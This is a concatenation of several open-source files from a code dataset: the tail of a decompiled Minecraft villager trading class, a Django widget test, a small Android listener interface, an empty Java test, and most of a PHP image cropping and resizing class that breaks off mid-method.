while (true)
{
if (var6 >= var5)
{
break label50;
}
Item var7 = var4[var6];
if (this.rand.nextFloat() < this.adjustProbability(0.05F))
{
var2.add(new MerchantRecipe(new ItemStack(var7, 1, 0), new ItemStack(Items.emerald, 2 + this.rand.nextInt(3), 0), EnchantmentHelper.addRandomEnchantment(this.rand, new ItemStack(var7, 1, 0), 5 + this.rand.nextInt(15))));
}
++var6;
}
case 3:
func_146091_a(var2, Items.coal, this.rand, this.adjustProbability(0.7F));
func_146091_a(var2, Items.iron_ingot, this.rand, this.adjustProbability(0.5F));
func_146091_a(var2, Items.gold_ingot, this.rand, this.adjustProbability(0.5F));
func_146091_a(var2, Items.diamond, this.rand, this.adjustProbability(0.5F));
func_146089_b(var2, Items.iron_sword, this.rand, this.adjustProbability(0.5F));
func_146089_b(var2, Items.diamond_sword, this.rand, this.adjustProbability(0.5F));
func_146089_b(var2, Items.iron_axe, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Items.diamond_axe, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Items.iron_pickaxe, this.rand, this.adjustProbability(0.5F));
func_146089_b(var2, Items.diamond_pickaxe, this.rand, this.adjustProbability(0.5F));
func_146089_b(var2, Items.iron_shovel, this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.diamond_shovel, this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.iron_hoe, this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.diamond_hoe, this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.iron_boots, this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.diamond_boots, this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.iron_helmet, this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.diamond_helmet, this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.iron_chestplate, this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.diamond_chestplate, this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.iron_leggings, this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.diamond_leggings, this.rand, this.adjustProbability(0.2F));
func_146089_b(var2, Items.chainmail_boots, this.rand, this.adjustProbability(0.1F));
func_146089_b(var2, Items.chainmail_helmet, this.rand, this.adjustProbability(0.1F));
func_146089_b(var2, Items.chainmail_chestplate, this.rand, this.adjustProbability(0.1F));
func_146089_b(var2, Items.chainmail_leggings, this.rand, this.adjustProbability(0.1F));
break;
case 4:
func_146091_a(var2, Items.coal, this.rand, this.adjustProbability(0.7F));
func_146091_a(var2, Items.porkchop, this.rand, this.adjustProbability(0.5F));
func_146091_a(var2, Items.beef, this.rand, this.adjustProbability(0.5F));
func_146089_b(var2, Items.saddle, this.rand, this.adjustProbability(0.1F));
func_146089_b(var2, Items.leather_chestplate, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Items.leather_boots, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Items.leather_helmet, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Items.leather_leggings, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Items.cooked_porkchop, this.rand, this.adjustProbability(0.3F));
func_146089_b(var2, Items.cooked_beef, this.rand, this.adjustProbability(0.3F));
}
if (var2.isEmpty())
{
func_146091_a(var2, Items.gold_ingot, this.rand, 1.0F);
}
Collections.shuffle(var2);
if (this.buyingList == null)
{
this.buyingList = new MerchantRecipeList();
}
for (int var9 = 0; var9 < p_70950_1_ && var9 < var2.size(); ++var9)
{
this.buyingList.addToListWithCheck((MerchantRecipe)var2.get(var9));
}
}
private static void func_146091_a(MerchantRecipeList p_146091_0_, Item p_146091_1_, Random p_146091_2_, float p_146091_3_)
{
if (p_146091_2_.nextFloat() < p_146091_3_)
{
p_146091_0_.add(new MerchantRecipe(func_146088_a(p_146091_1_, p_146091_2_), Items.emerald));
}
}
private static ItemStack func_146088_a(Item p_146088_0_, Random p_146088_1_)
{
return new ItemStack(p_146088_0_, func_146092_b(p_146088_0_, p_146088_1_), 0);
}
private static int func_146092_b(Item p_146092_0_, Random p_146092_1_)
{
Tuple var2 = (Tuple)villagersSellingList.get(p_146092_0_);
return var2 == null ? 1 : (((Integer)var2.getFirst()).intValue() >= ((Integer)var2.getSecond()).intValue() ? ((Integer)var2.getFirst()).intValue() : ((Integer)var2.getFirst()).intValue() + p_146092_1_.nextInt(((Integer)var2.getSecond()).intValue() - ((Integer)var2.getFirst()).intValue()));
}
private static void func_146089_b(MerchantRecipeList p_146089_0_, Item p_146089_1_, Random p_146089_2_, float p_146089_3_)
{
if (p_146089_2_.nextFloat() < p_146089_3_)
{
int var4 = func_146090_c(p_146089_1_, p_146089_2_);
ItemStack var5;
ItemStack var6;
if (var4 < 0)
{
var5 = new ItemStack(Items.emerald, 1, 0);
var6 = new ItemStack(p_146089_1_, -var4, 0);
}
else
{
var5 = new ItemStack(Items.emerald, var4, 0);
var6 = new ItemStack(p_146089_1_, 1, 0);
}
p_146089_0_.add(new MerchantRecipe(var5, var6));
}
}
private static int func_146090_c(Item p_146090_0_, Random p_146090_1_)
{
Tuple var2 = (Tuple)blacksmithSellingList.get(p_146090_0_);
return var2 == null ? 1 : (((Integer)var2.getFirst()).intValue() >= ((Integer)var2.getSecond()).intValue() ? ((Integer)var2.getFirst()).intValue() : ((Integer)var2.getFirst()).intValue() + p_146090_1_.nextInt(((Integer)var2.getSecond()).intValue() - ((Integer)var2.getFirst()).intValue()));
}
public IEntityLivingData onSpawnWithEgg(IEntityLivingData p_110161_1_)
{
p_110161_1_ = super.onSpawnWithEgg(p_110161_1_);
this.setProfession(this.worldObj.rand.nextInt(5));
return p_110161_1_;
}
public void setLookingForHome()
{
this.isLookingForHome = true;
}
public EntityVillager createChild(EntityAgeable p_90011_1_)
{
EntityVillager var2 = new EntityVillager(this.worldObj);
var2.onSpawnWithEgg((IEntityLivingData)null);
return var2;
}
public boolean allowLeashing()
{
return false;
}
static
{
villagersSellingList.put(Items.coal, new Tuple(Integer.valueOf(16), Integer.valueOf(24)));
villagersSellingList.put(Items.iron_ingot, new Tuple(Integer.valueOf(8), Integer.valueOf(10)));
villagersSellingList.put(Items.gold_ingot, new Tuple(Integer.valueOf(8), Integer.valueOf(10)));
villagersSellingList.put(Items.diamond, new Tuple(Integer.valueOf(4), Integer.valueOf(6)));
villagersSellingList.put(Items.paper, new Tuple(Integer.valueOf(24), Integer.valueOf(36)));
villagersSellingList.put(Items.book, new Tuple(Integer.valueOf(11), Integer.valueOf(13)));
villagersSellingList.put(Items.written_book, new Tuple(Integer.valueOf(1), Integer.valueOf(1)));
villagersSellingList.put(Items.ender_pearl, new Tuple(Integer.valueOf(3), Integer.valueOf(4)));
villagersSellingList.put(Items.ender_eye, new Tuple(Integer.valueOf(2), Integer.valueOf(3)));
villagersSellingList.put(Items.porkchop, new Tuple(Integer.valueOf(14), Integer.valueOf(18)));
villagersSellingList.put(Items.beef, new Tuple(Integer.valueOf(14), Integer.valueOf(18)));
villagersSellingList.put(Items.chicken, new Tuple(Integer.valueOf(14), Integer.valueOf(18)));
villagersSellingList.put(Items.cooked_fished, new Tuple(Integer.valueOf(9), Integer.valueOf(13)));
villagersSellingList.put(Items.wheat_seeds, new Tuple(Integer.valueOf(34), Integer.valueOf(48)));
villagersSellingList.put(Items.melon_seeds, new Tuple(Integer.valueOf(30), Integer.valueOf(38)));
villagersSellingList.put(Items.pumpkin_seeds, new Tuple(Integer.valueOf(30), Integer.valueOf(38)));
villagersSellingList.put(Items.wheat, new Tuple(Integer.valueOf(18), Integer.valueOf(22)));
villagersSellingList.put(Item.getItemFromBlock(Blocks.wool), new Tuple(Integer.valueOf(14), Integer.valueOf(22)));
villagersSellingList.put(Items.rotten_flesh, new Tuple(Integer.valueOf(36), Integer.valueOf(64)));
blacksmithSellingList.put(Items.flint_and_steel, new Tuple(Integer.valueOf(3), Integer.valueOf(4)));
blacksmithSellingList.put(Items.shears, new Tuple(Integer.valueOf(3), Integer.valueOf(4)));
blacksmithSellingList.put(Items.iron_sword, new Tuple(Integer.valueOf(7), Integer.valueOf(11)));
blacksmithSellingList.put(Items.diamond_sword, new Tuple(Integer.valueOf(12), Integer.valueOf(14)));
blacksmithSellingList.put(Items.iron_axe, new Tuple(Integer.valueOf(6), Integer.valueOf(8)));
blacksmithSellingList.put(Items.diamond_axe, new Tuple(Integer.valueOf(9), Integer.valueOf(12)));
blacksmithSellingList.put(Items.iron_pickaxe, new Tuple(Integer.valueOf(7), Integer.valueOf(9)));
blacksmithSellingList.put(Items.diamond_pickaxe, new Tuple(Integer.valueOf(10), Integer.valueOf(12)));
blacksmithSellingList.put(Items.iron_shovel, new Tuple(Integer.valueOf(4), Integer.valueOf(6)));
blacksmithSellingList.put(Items.diamond_shovel, new Tuple(Integer.valueOf(7), Integer.valueOf(8)));
blacksmithSellingList.put(Items.iron_hoe, new Tuple(Integer.valueOf(4), Integer.valueOf(6)));
blacksmithSellingList.put(Items.diamond_hoe, new Tuple(Integer.valueOf(7), Integer.valueOf(8)));
blacksmithSellingList.put(Items.iron_boots, new Tuple(Integer.valueOf(4), Integer.valueOf(6)));
blacksmithSellingList.put(Items.diamond_boots, new Tuple(Integer.valueOf(7), Integer.valueOf(8)));
blacksmithSellingList.put(Items.iron_helmet, new Tuple(Integer.valueOf(4), Integer.valueOf(6)));
blacksmithSellingList.put(Items.diamond_helmet, new Tuple(Integer.valueOf(7), Integer.valueOf(8)));
blacksmithSellingList.put(Items.iron_chestplate, new Tuple(Integer.valueOf(10), Integer.valueOf(14)));
blacksmithSellingList.put(Items.diamond_chestplate, new Tuple(Integer.valueOf(16), Integer.valueOf(19)));
blacksmithSellingList.put(Items.iron_leggings, new Tuple(Integer.valueOf(8), Integer.valueOf(10)));
blacksmithSellingList.put(Items.diamond_leggings, new Tuple(Integer.valueOf(11), Integer.valueOf(14)));
blacksmithSellingList.put(Items.chainmail_boots, new Tuple(Integer.valueOf(5), Integer.valueOf(7)));
blacksmithSellingList.put(Items.chainmail_helmet, new Tuple(Integer.valueOf(5), Integer.valueOf(7)));
blacksmithSellingList.put(Items.chainmail_chestplate, new Tuple(Integer.valueOf(11), Integer.valueOf(15)));
blacksmithSellingList.put(Items.chainmail_leggings, new Tuple(Integer.valueOf(9), Integer.valueOf(11)));
blacksmithSellingList.put(Items.bread, new Tuple(Integer.valueOf(-4), Integer.valueOf(-2)));
blacksmithSellingList.put(Items.melon, new Tuple(Integer.valueOf(-8), Integer.valueOf(-4)));
blacksmithSellingList.put(Items.apple, new Tuple(Integer.valueOf(-8), Integer.valueOf(-4)));
blacksmithSellingList.put(Items.cookie, new Tuple(Integer.valueOf(-10), Integer.valueOf(-7)));
blacksmithSellingList.put(Item.getItemFromBlock(Blocks.glass), new Tuple(Integer.valueOf(-5), Integer.valueOf(-3)));
blacksmithSellingList.put(Item.getItemFromBlock(Blocks.bookshelf), new Tuple(Integer.valueOf(3), Integer.valueOf(4)));
blacksmithSellingList.put(Items.leather_chestplate, new Tuple(Integer.valueOf(4), Integer.valueOf(5)));
blacksmithSellingList.put(Items.leather_boots, new Tuple(Integer.valueOf(2), Integer.valueOf(4)));
blacksmithSellingList.put(Items.leather_helmet, new Tuple(Integer.valueOf(2), Integer.valueOf(4)));
blacksmithSellingList.put(Items.leather_leggings, new Tuple(Integer.valueOf(2), Integer.valueOf(4)));
blacksmithSellingList.put(Items.saddle, new Tuple(Integer.valueOf(6), Integer.valueOf(8)));
blacksmithSellingList.put(Items.experience_bottle, new Tuple(Integer.valueOf(-4), Integer.valueOf(-1)));
blacksmithSellingList.put(Items.redstone, new Tuple(Integer.valueOf(-4), Integer.valueOf(-1)));
blacksmithSellingList.put(Items.compass, new Tuple(Integer.valueOf(10), Integer.valueOf(12)));
blacksmithSellingList.put(Items.clock, new Tuple(Integer.valueOf(10), Integer.valueOf(12)));
blacksmithSellingList.put(Item.getItemFromBlock(Blocks.glowstone), new Tuple(Integer.valueOf(-3), Integer.valueOf(-1)));
blacksmithSellingList.put(Items.cooked_porkchop, new Tuple(Integer.valueOf(-7), Integer.valueOf(-5)));
blacksmithSellingList.put(Items.cooked_beef, new Tuple(Integer.valueOf(-7), Integer.valueOf(-5)));
blacksmithSellingList.put(Items.cooked_chicken, new Tuple(Integer.valueOf(-8), Integer.valueOf(-6)));
blacksmithSellingList.put(Items.ender_eye, new Tuple(Integer.valueOf(7), Integer.valueOf(11)));
blacksmithSellingList.put(Items.arrow, new Tuple(Integer.valueOf(-12), Integer.valueOf(-8)));
}
}
| gpl-3.0 |
colab/colab-superarchives-plugin | tests/test_widgets.py | 2048 |
from django.test import TestCase
from colab.accounts.models import User
from django.test import Client
class WidgetAccountTest(TestCase):
def setUp(self):
self.user = self.create_user()
self.client = Client()
def create_user(self):
user = User()
user.username = "USERtestCoLaB"
user.set_password("123colab4")
user.email = "usertest@colab.com.br"
user.id = 1
user.twitter = "usertestcolab"
user.facebook = "usertestcolab"
user.first_name = "USERtestCoLaB"
user.last_name = "COLAB"
user.save()
return user
def authenticate_user(self):
self.user.needs_update = False
self.user.save()
self.client.login(username=self.user.username,
password='123colab4')
def get_response_from_request(self, addr):
self.user = self.create_user()
self.authenticate_user()
response = self.client.get(addr)
return response
def test_account_widgets(self):
templates = ['widgets/dashboard_collaboration_graph.html',
'widgets/dashboard_latest_collaborations.html',
'widgets/dashboard_most_relevant_threads.html',
'widgets/dashboard_latest_threads.html',
]
for template in templates:
response = self.get_response_from_request(
"/dashboard")
self.assertTemplateUsed(
template_name=template, response=response)
def test_user_account_widgets(self):
templates = ['widgets/group_membership.html',
'widgets/group.html',
'widgets/latest_posted.html',
'widgets/participation_chart.html',
]
for template in templates:
response = self.get_response_from_request(
"/account/usertestcolab")
self.assertTemplateUsed(
template_name=template, response=response)
| gpl-3.0 |
scymex/Android-OAuth2-Auth | src/com/scymex/authorization/listeners/ErrorListener.java | 120 | package com.scymex.authorization.listeners;
public interface ErrorListener {
public void onError(String errorMsg);
} | gpl-3.0 |
leafsoftinfo/pyramus | pyramus/src/test/java/fi/pyramus/util/ScriptedImporterTest.java | 64 | package fi.pyramus.util;
public class ScriptedImporterTest {
}
| gpl-3.0 |
clagiordano/weblibs | php/ImageManipulation.php | 38608 | <?php
namespace clagiordano\weblibs\php;
/**
* Classe per la creazione ed elaborazione di immagini con varie funzioni
* di ritaglio, conversione e creazione tramite testo con esportazione in
* formato base64.
*
* @version 1.3
* @author Claudio Giordano <claudio.giordano@autistici.org>
* @since 2014-04-04
* @category Image
* @package weblibs
*/
final class Image
{
/**
* Configurazione dimensioni immagini per l'avatar ( in pixel )
*/
const IMG_THUMB_WIDTH = 80;
const IMG_THUMB_HEIGHT = 80;
const IMG_FULL_WIDTH = 250;
const IMG_FULL_HEIGHT = 250;
/**
* Configurazione dimensioni immagini per l'agency ( in pixel )
*/
const IMG_AG_THUMB_WIDTH = 120;
const IMG_AG_THUMB_HEIGHT = 80;
const IMG_AG_FULL_WIDTH = 240;
const IMG_AG_FULL_HEIGHT = 160;
/**
* Configurazione dimensioni massime per l'immagine originale di backup
* ( in pixel )
*/
const IMG_ORIG_FULL_WIDTH = 600;
const IMG_ORIG_FULL_HEIGHT = 600;
/** Formato immagine predefinito */
const IMG_DEFAULT_MIME = "image/jpeg";
/** Tabella di destinazione predefinita */
const IMG_TABLE_NAME = "user_thumb";
const IMG_AG_TABLE_NAME = "group_thumb";
const IMG_SUBGR_TABLE_NAME = "subgroup_thumb";
/** Array contenente i dati per il database in caso di update */
var $dataArray = [];
var $skipUpdate = false;
var $transparentBG = false;
var $originalMimeType = "";
public function __construct()
{
}
/**
* Metodo statico pubblico accessibile direttamente dall'esterno che
* restituisce l'html dei pulsanti richiesti.
*
* @param array $params Parametri di configurazione generici per la creazione dei pulsanti.
* @param array $buttons Array multidimensionale contenente i pulsanti richiesti e la loro configurazione.
* @return string $outhtml Restituisce l'html risultante dalla creazione dei pulsanti.
*/
final public static function create_image_editbuttons(
array $params = [],
array $buttons = []
) {
if (!isset($buttons[0]['command']) || trim($buttons[0]['command']) == "") {
exit("Il parametro command e' obbligatorio.");
}
$outhtml = "";
//print_r($params);
//print_r($buttons);
/**
* array('dialog_title' => b('MY_THUMB_EDIT'));
*
*
* array('label' => b('EDIT'),
* 'width' => $has_thumb ? '161px' : '100%',
* 'command' => 'user_thumb',
* 'title'=>b('MY_THUMB_EDIT')
*/
/**
* Preparo i pulsanti per la gestione dell'immagine
*/
$buttonEdit = new aengine_button([
'label' => b('EDIT'),
'width' => isset($buttons[0]['width']) ? $buttons[0]['width'] . 'px' : '100%',
'centered' => true,
'css' => 'dark5',
'outer_styles' => ['position:absolute', 'bottom:0px', 'left:0px'],
'command' => 'commandEditButton',
'commandparams' => [
'command' => $buttons[0]['command'],
'type' => 'html',
'owner' => 'dialog',
'params' => [
'mode' => $params['mode'],
'subgroupId' => isset($params['subgroupId']) ? $params['subgroupId'] : '',
'size' => 'xxl',
'position' => 'auto',
'title' => $params['title'] ? b($params['title']) : b('MY_THUMB_EDIT'),
'close' => true,
'dialog_footer_options' => [
'css' => 'dark dark2',
'buttons' => [
[
'label' => b('CHANGE_IMAGE'),
'name' => 'b_back_thumb',
'command' => 'back_thumb',
'hidden' => true,
'commandparams' => [
'owner' => $buttons[0]['owner'],
'target' => $buttons[0]['target'],
'params' => [
'transition' => 'up@flip',
'callback' => [
'type' => "button",
'target' => "b_save_thumb",
'command' => "hide",
'params' => [
'transition' => 'prev',
'callback' => [
'type' => "button",
'target' => $buttons[0]['subtarget'],
'command' => "hide"
]
]
]
]
]
],
[
'label' => b('SAVE'),
'type' => 'green',
'name' => 'b_save_thumb',
'command' => 'save_thumb',
'hidden' => true,
'command' => 'uploadImageThumb',
'commandparams' => [
'owner' => 'welcome',
'type' => 'component',
'params' => [
'mode' => $params['mode']
]
]
]
]
]
]
]
]);
$outhtml .= $buttonEdit->display();
// Se esiste l'immagine allora genero anche il pulsante di eliminazione.
if (isset($params['avatarImg']) && $params['avatarImg'] != "") {
//print_r($params);
$buttonRemove = new aengine_button([
//'label'=>b('REMOVE'),
'icon' => 'ae-delete-trash-1',
'width' => '40px',
'centered' => true,
'css' => 'brd-left dark5',
'outer_styles' => ['position: absolute', 'bottom: 0px', 'left: ' . ($buttons[0]['width']) . 'px'],
'command' => 'buttonImageRemove',
'commandparams' => [
'command' => $params['obj'] . '_' . $params['act'],
'target' => isset($params['target']) ? $params['target'] : '',
'type' => 'html',
'params' => $buttons[1]['params']
]
]);
$outhtml .= $buttonRemove->display();
}
return $outhtml;
}
/**
* Metodo statico pubblico accessibile direttamente dall'esterno che
* restituisce la lunghezza del lato scelto.
*
* @param mixed $Image (base64 | resource)
* @param string $Mode modalità di scelta del lato dell'immagine ( min | max )
*
* @return int Lunghezza in pixel.
*/
final public static function getSelectedSize($Image, $Mode = "max")
{
$imgData = getimagesize($Image);
$width = $imgData[0];
$height = $imgData[1];
$ReturnSize = null;
switch ($Mode) {
case 'max':
if ($width > $height) {
$ReturnSize = $width;
} else {
$ReturnSize = $height;
}
break;
case 'min':
if ($width < $height) {
$ReturnSize = $width;
} else {
$ReturnSize = $height;
}
break;
default:
exit("Errore, modalita' selezione immagine '$Mode' non valida.");
}
return $ReturnSize;
}
/**
* Funzione che crea l'oggetto immagine mediante il file immagine,
* fornito tramite percorso e resituisce la risorsa puntata.
*
* @return ImagObject
*/
public function create_from_file($FilePath, $verbose = false, $debug = false)
{
/**
* Esegue la validazione e verifica della variabile.
*/
$FilePath = filter_var($FilePath);
if (!$FilePath) {
exit("Errore, percorso immagine non valido. <br />");
}
if ($debug) {
print_r($FilePath);
}
/**
* Verifica il tipo di immagine per discriminare la funzione da utilizzare
* mediante il tipo mime del file.
*/
$file_info = new finfo(FILEINFO_MIME_TYPE);
$mime_type = $file_info->buffer(file_get_contents($FilePath));
if ($debug) {
print_r($mime_type);
}
switch ($mime_type) {
case "image/png":
$this->originalMimeType = $mime_type;
$ImageObject = imagecreatefrompng($FilePath);
$this->check_transparent($ImageObject, $verbose);
if ($this->transparentBG) {
// In caso di immagine originale con sfondo trasparente,
// crea lo stesso tipo di sfondo anche sulla nuova immagine
$transparent = imagecolorallocatealpha(
$ImageObject,
255,
255,
255,
127
);
//$white = imagecolorallocate($newImage, 255, 255, 255);
imagefill($ImageObject, 0, 0, $transparent);
} else {
// se lo sfondo non e' trasparente usa il colore del primo pixel (0, 0)
$background = $this->get_first_px_color($ImageObject);
imagefill($ImageObject, 0, 0, $background);
}
break;
case "image/jpeg":
$this->originalMimeType = $mime_type;
$ImageObject = imagecreatefromjpeg($FilePath);
break;
case "image/gif":
$this->originalMimeType = $mime_type;
$ImageObject = imagecreatefromgif($FilePath);
break;
default:
exit("Errore, formato immagine non valido. <br />");
break;
}
/**
* Verifico se la creazione dell'oggetto immagine è avvenuta correttamente
*/
if ($ImageObject !== false) {
if ($verbose == true) {
echo "Creazione immagine avvenuta correttamente. <br />";
}
} else {
if ($verbose == true) {
echo "errore durante la creazione dell'oggetto immagine. <br />";
}
}
return $ImageObject;
}
/**
* Funzione che verifica pixel per pixel un'immagine per verificare se
* ha dei pixel trasparenti per identificare il canale alpha.
* @param type $ImageObject
* @return boolean
*/
private function check_transparent($ImageObject, $verbose = false)
{
$width = imagesx($ImageObject); // Get the width of the image
$height = imagesy($ImageObject); // Get the height of the image
// We run the image pixel by pixel and as soon as we find a transparent pixel we stop and return true.
for ($i = 0; $i < $width; $i++) {
for ($j = 0; $j < $height; $j++) {
$rgba = imagecolorat($ImageObject, $i, $j);
if (($rgba & 0x7F000000) >> 24) {
if ($verbose) {
echo __METHOD__ . ": Trovato pixel trasparente alle coordinate ($i, $j)<br />";
}
$this->transparentBG = true;
return;
}
}
}
// If we dont find any pixel the function will return false.
if ($verbose) {
echo __METHOD__ . ": L'immagine non presenta pixel trasparenti.<br />";
}
$this->transparentBG = false;
}
/**
* Funzione che legge il colore del primo pixel alle coordinate 0,0
* e restituisce un int contente il colore.
*
* @param resource $ImageObject
* @return int color
*/
private function get_first_px_color($ImageObject, $verbose = false)
{
$color = imagecolorat($ImageObject, 0, 0);
if ($verbose) {
echo __METHOD__ . ": Il pixel alle coordinate (0, 0) e': $color<br />";
}
return $color;
}
/**
* Funzione che crea un oggetto immagine im base ai paramentri con una
* stringa di testo
*
* @param type $String
* @param type $bgColor
* @param type $fgColor
* @param type $Width
* @param type $Height
* @param type $verbose
* @param type $debug
*
* @return im
*/
public function create_from_string(
$String,
$bgColor,
$fgColor,
$Width,
$Height,
$FontSize = 10,
$FontPath = "/usr/share/fonts/truetype/OpenSans-Regular.ttf",
$verbose = false,
$debug = false
) {
$bgColor = $this->RgbfromHex($bgColor);
$fgColor = $this->RgbfromHex($fgColor);
$im = imagecreatetruecolor($Width, $Height);
$bg_color = imagecolorallocate(
$im,
$bgColor[0],
$bgColor[1],
$bgColor[2]
);
imagefill($im, 0, 0, $bg_color);
$text_color = imagecolorallocate(
$im,
$fgColor[0],
$fgColor[1],
$fgColor[2]
);
//imagestring($im, $FontSize, $coords['x'], $coords['y'], $String, $text_color);
$coords = $this->calculate_font_position(
$im,
$String,
$FontPath,
$FontSize
);
imagettftext(
$im,
$FontSize,
0,
$coords['x'],
$coords['y'],
$text_color,
$FontPath,
$String
);
return $im;
}
/**
* Funzione che restituisce un array RGB in base alla stringa HEX #RRGGBB
* @param type $hexValue
* @return type
*/
public function RgbfromHex($hexValue)
{
$colorArray = [0, 0, 0];
if (strlen(trim($hexValue)) == 6) {
$colorArray = [hexdec(substr($hexValue, 0, 2)), // R
hexdec(substr($hexValue, 2, 2)), // G
hexdec(substr($hexValue, 4, 2)) // B
];
}
return $colorArray;
}
/**
* Funzione che calcola il posizionamento del testo all'interno dell'immagine
* e restituisce le coordinateiniziali.
*
* @param resource $Image
* @param string $String
* @return array (int, int) coordinate x,y
*/
private function calculate_font_position(
$Image,
$String,
$FontFile,
$FontSize
) {
if ($FontSize <= 5) {
$fw = imagefontwidth($FontSize); // width of a character
$fh = imagefontheight($FontSize); // height of a character
$l = strlen($String); // number of characters
$tw = $l * $fw; // text width
$iw = imagesx($Image); // image width
$ih = imagesy($Image); // image height
$xpos = ($iw - $tw) / 2;
$ypos = ($ih - $fh) / 2;
} else {
$box = imagettfbbox($FontSize, 0, $FontFile, $String);
$xpos = $box[0] + (imagesx($Image) / 2) - ($box[4] / 2) - 2;
$ypos = $box[1] + (imagesy($Image) / 2) - ($box[5] / 2) - 2;
}
return ['x' => $xpos, 'y' => $ypos];
}
/**
* Funzione che esegue il ritaglio di un oggetto immagine in base agli
* argomenti forniti e restituisce un nuovo oggetto immagine.
*
* @param type $ImageObject
* @param type $SelectionX
* @param type $SelectionY
* @param type $SelectionWidth
* @param type $SelectionHeight
* @param type $verbose
* @param type $debug
* @return type
*/
public function crop(
$ImageObject,
$SelectionX,
$SelectionY,
$SelectionWidth,
$SelectionHeight,
$verbose = false,
$debug = false
) {
if (!$ImageObject) {
exit("Errore, l'oggetto immagine e' nullo. <br />");
}
if ($debug) {
printf(
"[DEBUG][%s]: resimage: %d, SelX: %d, SelY: %d, SelW: %d, SelH: %d <br />",
__METHOD__,
$ImageObject,
$SelectionX,
$SelectionY,
$SelectionWidth,
$SelectionHeight
);
}
/**
* Creo l'oggetto immagine vuoto per il ridimensionamento
*/
if ($verbose) {
echo "creo il nuovo oggetto immagine <br />";
}
$newImage = imagecreatetruecolor($SelectionWidth, $SelectionHeight);
if ($this->transparentBG) {
// In caso di immagine originale con sfondo trasparente,
// crea lo stesso tipo di sfondo anche sulla nuova immagine
$transparent = imagecolorallocatealpha($newImage, 255, 255, 255, 127);
//$white = imagecolorallocate($newImage, 255, 255, 255);
imagefill($newImage, 0, 0, $transparent);
} else {
// se lo sfondo non e' trasparente usa il colore del primo pixel (0, 0)
$background = $this->get_first_px_color($newImage);
imagefill($newImage, 0, 0, $background);
}
// bool imagecopyresized ( resource $dst_image , resource $src_image , int $dst_x , int $dst_y ,
// int $src_x , int $src_y , int $dst_w , int $dst_h , int $src_w , int $src_h )
if (imagecopyresized(
$newImage,
$ImageObject,
0,
0,
$SelectionX,
$SelectionY,
$SelectionWidth,
$SelectionHeight,
$SelectionWidth,
$SelectionHeight
)) {
if ($verbose) {
echo "Ridimensionamento riuscito <br />";
}
} else {
if ($verbose) {
echo "Errore durante il ridimensionamento dell'immagine. <br />";
}
}
return $newImage;
}
/**
* Funzione che esegue il ridimensionamento massivamente su un array di record fornito
*/
public function resize_massive(
$ArrayData,
$ResizeMethod = "fit",
$updateDB = false,
$verbose = false,
$debug = false
) {
if (count($ArrayData) < 1) {
exit("Errore, l'array dei dati e' vuoto. <br />");
}
if ($verbose) {
printf("Avvio resize massivo di %d record.<br/>", count($ArrayData));
}
$counter = 1;
foreach ($ArrayData as $field) {
// salvo l'immagine originale grande prima dell'update.
$ImageOriginal = $this->create_from_hash(
$field['img'],
$verbose,
$debug
);
$newImageOriginal = $this->resize(
$ImageOriginal,
self::IMG_ORIG_FULL_WIDTH,
self::IMG_ORIG_FULL_HEIGHT,
"fit",
$verbose,
$debug
);
$field['orig'] = $this->to_base64($newImageOriginal, $verbose);
if ($verbose) {
printf("Record %d, modifica immagine originale.<br/>", $counter);
}
//print_r($field);
$ImageObjectThumb = $this->create_from_hash(
$field['thumb'],
$verbose,
$debug
);
$newImageThumb = $this->resize(
$ImageObjectThumb,
self::IMG_THUMB_WIDTH,
self::IMG_THUMB_HEIGHT,
$ResizeMethod,
$verbose,
$debug
);
$field['thumb'] = $this->to_base64($newImageThumb, $verbose);
if ($verbose) {
printf("Record %d, modifica immagine thumb.<br/>", $counter);
}
$ImageObjectFull = $this->create_from_hash($field['img']);
$newImageFull = $this->resize(
$ImageObjectFull,
self::IMG_FULL_WIDTH,
self::IMG_FULL_HEIGHT,
$ResizeMethod,
$verbose,
$debug
);
$field['img'] = $this->to_base64($newImageFull, false);
if ($verbose) {
printf("Record %d, modifica immagine img.<br/>", $counter);
}
if ($updateDB && !$this->skipUpdate) {
// eseguo l'update dei dati
$this->update_hash_db($field, $verbose, $debug);
if ($verbose) {
printf("Record %d, update dati sul database.<br/>", $counter);
}
} else {
if ($verbose) {
printf(
"Record %d, update non necessario lo salto.<br/>",
$counter
);
}
}
$counter++;
}
if ($verbose) {
printf("Resize massivo completato correttamente.<br/>", $counter);
}
}
/**
* Funzione che crea l'oggetto immagine mediante la stringa encodata base64,
* presente nell'array ImageData proveniente dalla funzione imageGetHashData
* e resituisce la risorsa puntata.
*
* @return ImagObject
*/
public function create_from_hash(
$Base64Data,
$verbose = false,
$debug = false
) {
$ImageData = $this->getHashdata($Base64Data, $debug);
$ImageObject = imagecreatefromstring(base64_decode($ImageData['string']));
if ($debug) {
printf(
"[DEBUG][%s]: imagedata: %s<br />",
__METHOD__,
$ImageData['string']
);
echo "creo l'immagine: '" . $ImageData['string'] . "'<br />";
}
if ($debug) {
printf(
"[DEBUG][%s]: resimage: %d, dimensione reale: %dx%d<br />",
__METHOD__,
$ImageObject,
imagesx($ImageObject),
imagesy($ImageObject)
);
}
/**
* Verifico la creazione dell'oggetto immagine
*/
if ($ImageObject !== false) {
if ($verbose == true) {
echo "Creazione immagine avvenuta correttamente. <br />";
}
$this->check_transparent($ImageObject, $verbose);
if ($this->transparentBG) {
// In caso di immagine originale con sfondo trasparente,
// crea lo stesso tipo di sfondo anche sulla nuova immagine
$transparent = imagecolorallocatealpha(
$ImageObject,
255,
255,
255,
127
);
//$white = imagecolorallocate($newImage, 255, 255, 255);
imagefill($ImageObject, 0, 0, $transparent);
} else {
// se lo sfondo non e' trasparente usa il colore del primo pixel (0, 0)
$background = $this->get_first_px_color($ImageObject);
